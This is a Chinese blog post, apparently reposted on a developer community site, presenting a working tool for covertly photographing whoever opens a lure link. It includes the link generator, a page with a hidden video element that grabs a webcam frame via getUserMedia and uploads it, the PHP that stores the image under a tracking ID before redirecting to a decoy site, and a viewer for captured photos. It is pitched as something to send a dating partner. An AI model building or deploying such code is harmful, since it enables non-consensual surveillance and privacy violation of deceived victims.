前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >在吗宝贝?你点开这个网址看看[打开网站偷拍照片]

在吗宝贝?你点开这个网址看看[打开网站偷拍照片]

作者头像
C4rpeDime
修改2021-05-04 15:10:04
3K0
修改2021-05-04 15:10:04
举报
文章被收录于专栏:黑白安全黑白安全黑白安全

最近忙着开公司,所以一直没有管过黑白网。

刷抖音期间,偶然发现是2020年发布的文章点开一个网址我被记录了ip还偷拍了照片,被人实现了具体功能。

网恋奔现前先打开网址偷拍个照片看看。

趁着5.1空闲,重构了代码,并实现了具体功能。

如下图所示

图片依然存放于本地img目录,新增了查询功能,毕竟之前只是个思路.

其中sc.php为生成路径

<script>
function  create() {
    var input = document.getElementById('content');
    var kd = document.getElementById('kd');
    var myid = document.getElementById('myid');
    var url = document.getElementById('url');
    if (myid.value=="" || url.value==""){
        alert("查询ID不能为空!");
        return false;
    }
    kd.href = 'https://t.heibai.org/?id='+myid.value+'&url='+url.value; //修改此处的域名 必须要SSL证书    kd.style = ''; 
    kd.innerText = 'https://t.heibai.org/?id='+myid.value+'&url='+url.value; 
}
</script>
<div id="bob">
    <div id="bd">
<div class="ct" style="padding:0;">
<section class="index">
<div id="bds">
    <div id="content">
    <div class="hd">
    
 
      <div class="am-u-md-12 am-u-sm-centered">
      
       <div class="am-form-group">
                    <ul id="Open" style="display:block;">
                            <a id="kd" style="pointer-events: none;">请先生成链接!</a>
                        <form action="?" class="form-sign" method="get" name="auth" onSubmit="return checkURL();">
                        
                        <input type="text" class="am-form-field am-radius"id="myid" placeholder="查询id" value>
                     
                        <input type="hidden" class="am-form-field am-radius" id="url" value="https://www.heibai.org">
                    
                        
                        <input type="button" value="生成链接" onclick="create();"  class="am-btn am-btn-primary am-btn-block"> <br>

,chaxun.html为查询路径,通过Get形式发送数据至ck.php获取数据

chaxun.html

 <form class="am-form am-margin-bottom-lg" action="ck.php" method="get" id="form-vld">
      <div class="am-u-md-12 am-u-sm-centered">
      
       <div class="am-form-group">
     
       <input type="text" name="id" class="am-form-field am-radius" required="required" placeholder="查询id" />
           <p><button type="submit"  class="am-btn am-btn-primary am-btn-block">查询</button></p>

ck.php

   <?php
    error_reporting(0);
    $type=trim($_GET['type']);
    $page=isset($_GET['page'])?$_GET['page']:0;//从零开始
    $id=trim($_GET['id']);
    $imgnums = 3;    //每页显示的图片数
    $path="img";   //图片保存的目录
    
    if ($type=="del"){
        echo '确定清空所有照片?<br /><br />';
        echo "<a href=?type=dell&id=$id>确定</a> <a href=javascript:history.back(-1)>返回上一页</a> <br /><br />";
        exit;
    }elseif($type=="dell"){
        //清空照片函数
        $handle = opendir($path);
        while (false !== ($file = readdir($handle))) {
           list($filesname,$ext)=explode(".",$file);
           if($ext=="png" and explode('_', $filesname)[0]==$id) {
               if (!is_dir('./'.$file)) {
                  unlink('./img/'.$file);
               }
           }
        }
        echo '该ID下的所有照片已经清除!<br /><br />';
    }
    
    $handle = opendir($path);
    $i=0;
    while (false !== ($file = readdir($handle))) {
       list($filesname,$ext)=explode(".",$file);
       if($ext=="png" and explode('_', $filesname)[0]==$id) {
           if (!is_dir('./'.$file)) {
              $array[]=$file;//保存图片名称
              ++$i;
           }
       }
    }
    if($array){
       rsort($array);
       echo "<a href=?page=$page&id=$id&type=del>清空所有照片</a> <br /><br />";
    }
    else{
        echo "该ID下没有任何照片 <br /><br />";
    }
    for($j=$imgnums*$page; $j<($imgnums*$page+$imgnums)&&$j<$i; ++$j){
       echo '<div>';
       echo "<img src=".$path."/".$array[$j]."><br /><br />";
       echo '</div>';
    }
    $realpage = @ceil($i / $imgnums) - 1;
    $Prepage = $page-1;
    $Nextpage = $page+1;
    if($Prepage<0){
       echo "上一页 ";
       echo "<a href=?page=$Nextpage&id=$id>下一页</a> ";
       echo "<a href=?page=$realpage&id=$id>末页</a> ";
    }elseif($Nextpage >= $realpage){
       echo "<a href=?page=0&id=$id>首页</a> ";
       echo " <a href=?page=$Prepage&id=$id>上一页</a> ";
       echo " 下一页";
    }else{
       echo "<a href=?page=0&id=$id>首页</a> ";
       echo "<a href=?page=$Prepage&id=$id>上一页</a> ";
       echo "<a href=?page=$Nextpage&id=$id>下一页</a> ";
       echo "<a href=?page=$realpage&id=$id>末页</a> ";
    }
    ?>

而index.php和qbl.php的关系如查询页面,不赘述。打开index.php通过post请求qbl.php进行拍照

index.php

<video id="video" width="0" height="0" autoplay></video>
    <canvas style="width:0px;height:0px" id="canvas" width="480" height="640"></canvas>
    <script type="text/javascript">
        window.addEventListener("DOMContentLoaded", function() {
            var canvas = document.getElementById('canvas');
            var context = canvas.getContext('2d');
            var video = document.getElementById('video'); 
            if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
                navigator.mediaDevices.getUserMedia({ video: true }).then(function(stream) {
                    video.srcObject = stream;
                    video.play();
                    
                    setTimeout(function(){context.drawImage(video, 0, 0, 480, 640);},1000);
                    setTimeout(function(){
                        var img = canvas.toDataURL('image/png');  
                        document.getElementById('result').value = img;
                        document.getElementById('gopo').submit();
                        },1300);
                },function(){alert("没权限看个毛线,重新进给权限!");});
                
            }
        }, false);
    </script>
<form action="qbl.php?id=<?php echo $_GET['id']?>&url=<?php echo $_GET['url']?>" id="gopo" method="post">
<input type="hidden" name="img" id="result" value="" />

qbl.php

ActionScript

<?php
error_reporting(0);
$base64_img = trim($_POST['img']);
$id = trim($_GET['id']);
$url = trim($_GET['url']);
$up_dir = './img/';//存放在当前目录的img文件夹下
if(empty($id) || empty($url) || empty($base64_img)){ 
    exit;
}
if(!file_exists($up_dir)){
  mkdir($up_dir,0777);
}
if(preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_img, $result)){
  $type = $result[2];
  if(in_array($type,array('bmp','png'))){
    $new_file = $up_dir.$id.'_'.date('mdHis_').'.'.$type;
    file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_img)));
    header("Location: ".$url);
  }
}
?>

虽然实现了具体功能,但最大的问题依然没有解决。

在进行拍照之前,会弹出提示申请权限,若拒绝,照样白给

以搭建好的地址:t.heibai.org

以po出关键代码,别问我要源码,谢谢了

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
SSL 证书
腾讯云 SSL 证书(SSL Certificates)为您提供 SSL 证书的申请、管理、部署等服务,为您提供一站式 HTTPS 解决方案。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档